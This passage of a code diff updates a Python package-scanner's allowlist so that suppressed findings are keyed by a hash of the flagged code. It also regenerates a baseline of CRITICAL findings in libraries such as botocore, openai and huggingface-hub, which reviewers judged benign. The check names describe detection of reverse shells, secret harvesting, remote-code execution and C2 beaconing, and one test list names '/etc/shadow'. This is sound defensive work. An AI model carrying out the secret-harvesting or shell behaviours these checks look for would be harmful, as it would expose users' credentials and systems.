+# (package, package-relative file, check, evidence hash); the hash strips
+# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
+# but changed flagged code does. Regenerate with ``--write-baseline``.
 
 _DEFAULT_BASELINE_PATH = os.path.join(
     os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
@@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
     return _RE_SDIST_ROOT.sub("", filename, count = 1)
 
 
-def _finding_key(f: Finding) -> tuple[str, str, str]:
-    """Stable allowlist key: normalized package, package-relative path, check.
+# Evidence joins matched spans with " | " and a newline between labelled groups,
+# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
+# a marker, or a newline), never on a bare "|" -- matched code may contain a
+# bitwise-or or union type. The prefix strips only a genuine leading marker, an
+# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
+# a .pth import line) has no leading marker and is left intact.
+_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
+_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
 
-    The package-relative path (not just basename) keeps the key stable across
-    version bumps while still distinguishing same-named files like ``utils.py``.
+
+def _canon_evidence(evidence: str) -> str:
+    """Matched code lines in discovery order (markers removed), duplicates kept.
+
+    Splits evidence on its real span delimiters, drops each span's leading
+    label / line-number marker, and keeps the code with its indentation. Line
+    shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
+    stays significant: reordering matched lines (executable context, e.g. the
+    arguments of a multi-line call) reopens the finding. Keeping duplicates means
+    an appended identical occurrence still changes the key."""
+    spans = []
+    for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
+        s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
+        if s:
+            spans.append(s)
+    return "\n".join(spans)
+
+
+def _evidence_hash(evidence: str) -> str:
+    """Stable digest of the canonical matched evidence."""
+    return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
+
+
+def _finding_key(f: Finding) -> tuple[str, str, str, str]:
+    """Allowlist key: package, package-relative path, check, evidence hash.
+
+    The evidence hash is over the set of matched code, so the key survives version
+    bumps, line shifts and reordering but reopens when the flagged code changes --
+    so a future payload in a baselined file/check is not auto-suppressed.
     """
-    return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
+    return (
+        _norm_pkg(f.package),
+        _relpath_in_package(f.filename),
+        f.check,
+        _evidence_hash(f.evidence),
+    )
 
 
-def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
     """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
     try:
         with open(path, "r", encoding = "utf-8") as fh:
@@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
     except (OSError, json.JSONDecodeError) as exc:
         print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
         return set()
-    keys: set[tuple[str, str, str]] = set()
-    for e in data.get("entries", []):
+    if not isinstance(data, dict):
+        print(f"  [WARN] baseline {path} is not a JSON object", file = sys.stderr)
+        return set()
+    entries = data.get("entries", [])
+    if not isinstance(entries, list):
+        print(f"  [WARN] baseline {path} entries is not a list", file = sys.stderr)
+        return set()
+    keys: set[tuple[str, str, str, str]] = set()
+    legacy = 0
+    for e in entries:
+        if not isinstance(e, dict):
+            continue
         try:
-            keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
+            # Use the reviewed hash; else recompute it from the stored evidence.
+            evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
+            if not e.get("evidence_hash"):
+                legacy += 1
+            keys.add(
+                (
+                    _norm_pkg(e["package"]),
+                    _relpath_in_package(e["file"]),
+                    e["check"],
+                    evidence_hash,
+                )
+            )
         except (KeyError, TypeError):
             continue
+    if legacy:
+        print(
+            f"  [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
+            f"not suppress until regenerated with --write-baseline (findings reopen "
+            f"rather than risk hiding changed code under a coarse key)",
+            file = sys.stderr,
+        )
     return keys
 
 
 def _write_baseline(path: str, findings: list[Finding]) -> None:
     """Persist CRITICAL/HIGH findings as an allowlist for human triage."""
     entries = []
-    seen: set[tuple[str, str, str]] = set()
+    seen: set[tuple[str, str, str, str]] = set()
     for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
         if f.severity not in (CRITICAL, HIGH):
             continue
@@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
                 "file": _relpath_in_package(f.filename),
                 "check": f.check,
                 "severity": f.severity,
-                "evidence": f.evidence[:240],
+                "evidence": f.evidence,
+                "evidence_hash": _evidence_hash(f.evidence),
             }
         )
     doc = {
         "_comment": (
             "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
             "manually judged benign. Matched on (package, package-relative file, "
-            "check); evidence/severity are for review only. Regenerate with "
-            "--write-baseline AFTER reviewing every line."
+            "check, evidence_hash); evidence_hash is over the matched code with "
+            "L<NN>: markers stripped, so version bumps and line shifts do not "
+            "reopen an entry but changed code does. severity and evidence are for "
+            "review only. Regenerate with --write-baseline AFTER reviewing every line."
         ),
         "version": 1,
         "entries": entries,
@@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
 
 
 def _partition_baseline(
-    findings: list[Finding], baseline: set[tuple[str, str, str]]
+    findings: list[Finding], baseline: set[tuple[str, str, str, str]]
 ) -> tuple[list[Finding], list[Finding]]:
     """Split findings into (active, suppressed) by allowlist membership."""
     if not baseline:
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 0c10ae3222..046566d148 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -1,5 +1,5 @@
 {
-  "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
+  "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L<NN>: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.",
   "version": 1,
   "entries": [
     {
@@ -7,1302 +7,1488 @@
       "file": "botocore/credentials.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):"
+      "evidence": "Base64: L2714:             return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072:     def __init__(self, profile_name, load_config, popen=subprocess.Popen):",
+      "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6"
     },
     {
       "package": "botocore",
       "file": "botocore/httpsession.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen("
+      "evidence": "Env: L186:         sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477:             urllib_response = conn.urlopen(\nL478:                 method=request.method,\nL479:                 url=request_target,\nL480:                 body=request.body,\nL481:                 headers=request.headers,\nL482:                 retries=Retry(False),\nL483:                 assert_same_host=False,\nL484:                 preload_content=False,\nL485:                 decode_content=False,\nL486:                 chunked=self._chunked(request.headers),\nL487:             )",
+      "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro"
+      "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560:                 error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072:     IP_ADDRESS = '169.254.170.2' | L3075:         '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+      "evidence": "Env: L417:             env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96"
     },
     {
       "package": "botocore",
       "file": "botocore/utils.py",
       "check": "Reads credential paths AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass"
+      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
     },
     {
       "package": "click",
       "file": "click/testing.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)"
+      "evidence": "L103:         os.dup2(self._tmpfile.fileno(), self._targetfd) | L107:         os.dup2(self.saved_fd, self._targetfd)",
+      "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1"
     },
     {
       "package": "datasets",
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L441: while True:"
+      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
+      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
+    },
+    {
+      "package": "datasets",
+      "file": "datasets/utils/file_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
+      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L1015:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st"
+      "evidence": "Env: L233:         value = os.environ[key]\nNetwork: L688:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
+      "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
     },
     {
       "package": "dill",
       "file": "dill/_objects.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/gateway_base.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L579: while True:"
+      "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
+      "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie"
+      "evidence": "Archive: L1340:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:"
+      "evidence": "FS: L624:     history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"
     },
     {
       "package": "fonttools",
       "file": "fontTools/diff/__init__.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())"
+      "evidence": "L202:         os.dup2(devnull, sys.stdout.fileno())",
+      "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
     },
     {
       "package": "fonttools",
       "file": "fontTools/ttLib/ttFont.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)"
+      "evidence": "L1420:         __import__(\"fontTools.ttLib.tables.\" + pyTag)",
+      "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01"
     },
     {
       "package": "httpx",
       "file": "httpx/_models.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):"
+      "evidence": "FS: L528:         history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243:     class _CookieCompatRequest(urllib.request.Request):",
+      "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4577: while True:"
+      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
+      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4600:         while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",
+      "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()"
+      "evidence": "Env: L10852:                     o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504:         resp = requests.post(path, headers=headers, json=body) | L10848:                     import urllib.request | L10851:                     o = urllib.request.build_opener()",
+      "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/utils/_http.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L428: while True:"
+      "evidence": "L443:     while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",
+      "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/utils/_http.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L298:     while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306",
+      "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703"
     },
     {
       "package": "ipython",
       "file": "IPython/core/interactiveshell.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)"
+      "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048:                 from urllib.request import urlopen | L4049:                 response = urlopen(target)",
+      "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3"
     },
     {
       "package": "ipython",
       "file": "IPython/terminal/pt_inputhooks/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)"
+      "evidence": "L139:     mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)",
+      "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025"
     },
     {
       "package": "ipython",
       "file": "IPython/utils/py3compat.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)"
+      "evidence": "L58:         exec(compiler(f.read(), fname, \"exec\"), glob, loc)",
+      "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17"
     },
     {
       "package": "jaraco-context",
       "file": "jaraco/context/__init__.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)"
+      "evidence": "Archive: L106:         with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105:         req = urllib.request.urlopen(url)",
+      "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
     },
     {
       "package": "matplotlib",
       "file": "matplotlib/backends/backend_webagg.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L56: if not webbrowser.open(url):"
+      "evidence": "L56:             if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c",
+      "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583"
     },
     {
       "package": "multiprocess",
       "file": "multiprocess/forkserver.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L5: import socket"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)"
+      "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
+      "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
     },
     {
       "package": "numba",
       "file": "numba/pycc/decorators.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))"
+      "evidence": "L44:             exec(compile(fin.read(), ifile, 'exec'))",
+      "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05"
     },
     {
       "package": "numba",
       "file": "numba/tests/support.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)"
+      "evidence": "L1021:         os.dup2(w, fd) | L1026:         os.dup2(save, fd)",
+      "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_codegen.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])"
+      "evidence": "Base64: L127:             state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130:         subprocess.check_call([sys.executable, '-c', code, arg.decode()])",
+      "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488"
     },
     {
       "package": "numpy",
       "file": "numpy/f2py/capi_maps.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L159: d = eval(f.read().lower(), {}, {})"
+      "evidence": "L159:             d = eval(f.read().lower(), {}, {})",
+      "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f"
     },
     {
       "package": "numpy",
       "file": "numpy/lib/tests/test__datasource.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request"
+      "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46:                    '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request",
+      "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469"
     },
     {
       "package": "openai",
       "file": "openai/_base_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L264: while True:"
+      "evidence": "L264:         while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b",
+      "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14"
     },
     {
       "package": "openai",
       "file": "openai/_client.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521"
+      "evidence": "Env: L209:                 api_key = os.environ.get(\"OPENAI_API_KEY\") | L219:             admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243:             webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805:                 api_key = os.environ.get(\"OPENAI_API_KEY\") | L815:             admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839:             webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144:         http_client: httpx.Client | None = None, | L586:         http_client: httpx.Client | None = None, | L740:         http_client: httpx.AsyncClient | None = None, | L1193:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d"
     },
     {
       "package": "openai",
       "file": "openai/auth/_workload.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | "
+      "evidence": "IMDS: L96:             url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149:             url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77:     http_client: httpx.Client | None = None, | L108:                 with httpx.Client() as client: | L133:     http_client: httpx.Client | None = None, | L155:                 with httpx.Client() as client: | L248:         with httpx.Client() as client:",
+      "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567"
     },
     {
       "package": "openai",
       "file": "openai/lib/azure.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou"
+      "evidence": "Env: L214:             api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217:             azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538:             api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541:             azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119:         http_client: httpx.Client | None = None, | L141:         http_client: httpx.Client | None = None, | L163:         http_client: httpx.Client | None = None, | L189:         http_client: httpx.Client | None = None, | L297:         http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441:         http_client: httpx.AsyncClient | None = None, | L464:         http_client: httpx.AsyncClient | None = None, | L487:         http_client: httpx.AsyncClient | None = None, | L513:         http_client: httpx.AsyncClient | None = None, | L621:         http_client: httpx.AsyncClient | None = None,",
+      "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923"
     },
     {
       "package": "openai",
       "file": "openai/lib/bedrock.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht"
